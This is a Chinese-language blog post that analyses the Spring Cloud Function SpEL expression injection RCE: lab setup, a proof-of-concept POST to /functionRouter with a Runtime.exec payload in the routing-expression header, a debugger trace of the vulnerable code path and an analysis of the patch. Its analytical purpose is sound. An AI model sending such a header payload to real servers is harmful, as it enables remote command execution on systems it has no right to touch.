Spring Cloud Function Spel表达式注入

Spring Cloud Function Spel表达式注入

漏洞概述

Spring Cloud Function 是基于Spring Boot 的函数计算框架(FaaS),支持基于SpEL的函数式动态路由。在特定配置下,3 <= 版本 <= 3.2.2( commit dc5128b 之前)存在SpEL表达式执行导致的RCE。

环境搭建

在IDEA中选择新建项目,然后选择Spring Initializr,输入随机项目名称,然后选择java版本和jdk版本后点击下一步。

image-20220403220315187

选择Spring Web Spring Cloud function

image-20220403222049811

最新版本3.2.2也是存在漏洞的,若在官方出新版本后想要复现此漏洞,那么需要修改pom中spring-cloud-function-web的版本为3.2.2,如下图所示:

image-20220403222337581

确认项目中的spring-cloud-function-web是存在漏洞版本后,就可以直接启动项目了,无需进行任何修改。

漏洞复现

弹计算器payload

POST /functionRouter HTTP/1.1
Host:127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type:application/x-www-form-urlencoded
Content-Length: 3

xxx

看一眼POC就知道其实就是简单的在请求的headers头上添加一个spring.cloud.function.routing-expression参数

SpringCloud Function会直接将其参数内容直接带入到SPEL中查询,造成SPEL漏洞注入。

image-20220403231631626

漏洞分析

漏洞是出在SpringCloud Function的RoutingFunction功能上,其功能的目的本身就是为了微服务应运而生的,可以直接通过HTTP请求与单个的函数进行交互,同时为spring.cloud.function.definition参数提供您要调用的函数的名称。

为了更好的分析,可以先在springcloudfunctionspel\src\main\java\com\example\springcloudfunctionspel\SpringcloudfunctionspelApplication.java中写测试Demo

image-20220403232848334

然后再进行访问,请求中写出存在的函数就能够调用

POST /functionRouter HTTP/1.1
Host: localhost:8080
spring.cloud.function.definition: uppercase
Content-Type: text/plain
Content-Length: 3

abc

image-20220403233039490

成功得到abc的大写结果ABC

漏洞存在于header头的spring.cloud.function.routing-expression参数

,和definition相同,他也是官方提供的功能。

在org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#processRequest方法下断点

image-20220405001126121

程序会判断当前请求是否为RoutingFunction

image-20220405001144798

并将我们提交的请求头和请求体内容编译成Message并且传入FunctionInvocationWrapper的apply方法中

image-20220405001504170

跟进RoutingFunction的apply方法

image-20220405001656778

最后进入到org.springframework.cloud.function.context.config.RoutingFunction#route方法中

image-20220405001743831

然后在这里判断了请求headers头中有没有spring.cloud.function.routing-expression参数(这里可以清晰的看到spring.cloud.function.definition也是在这里做判断的)

并将结果带入到this.functionFromExpression()方法中

image-20220405002455553

在这里最后SpelExpressionParser解析了Spel表达式,调用了expression.getValue导致Spel表达式注入

image-20220405003124333

而他的EvaluationContext又采取了默认的StandardEvaluationContext,在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)或者直接new来调用任意对象的任意方法,成功造成任意命令执行。

image-20220405004040946

补丁分析

  • https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52

由于又是Spel注入问题,很容易定位到Context

image-20220330141227267

新增了headerEvalContext常量为SimpleEvaluationContext,显然是为了替换evalContext常量的StandardEvaluationContext而创建的

image-20220403231314162

增加了判断来源是否是header,如果是header就使用属于SimpleEvaluationContext的headerEvalContext,不是header才会使用属于StandardEvaluationContext的evalContext。

从而解决了发送恶意请求就能够RCE的问题。

后记

整个流程也是很清晰,就是官方提供的类似spring.cloud.function.definition的功能,spring.cloud.function.routing-expression有解析Spel表达式的能力,而且使用的是默认的StandardEvaluationContext。最终Spel表达式注入造成了命令执行。

Spring Cloud Gateway rce其实是相似的,都是官方提供的功能有Spel表达式解析能力,但都没有对指定EvaluationContext,采用默认的StandardEvaluationContext从而导致了命令执行。

不过这个影响范围在国内是更小的,后续的回显链挖掘也没有进行(也是因为影响范围吧)

参考

  • https://www.cnblogs.com/wh4am1/p/16062306.html
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值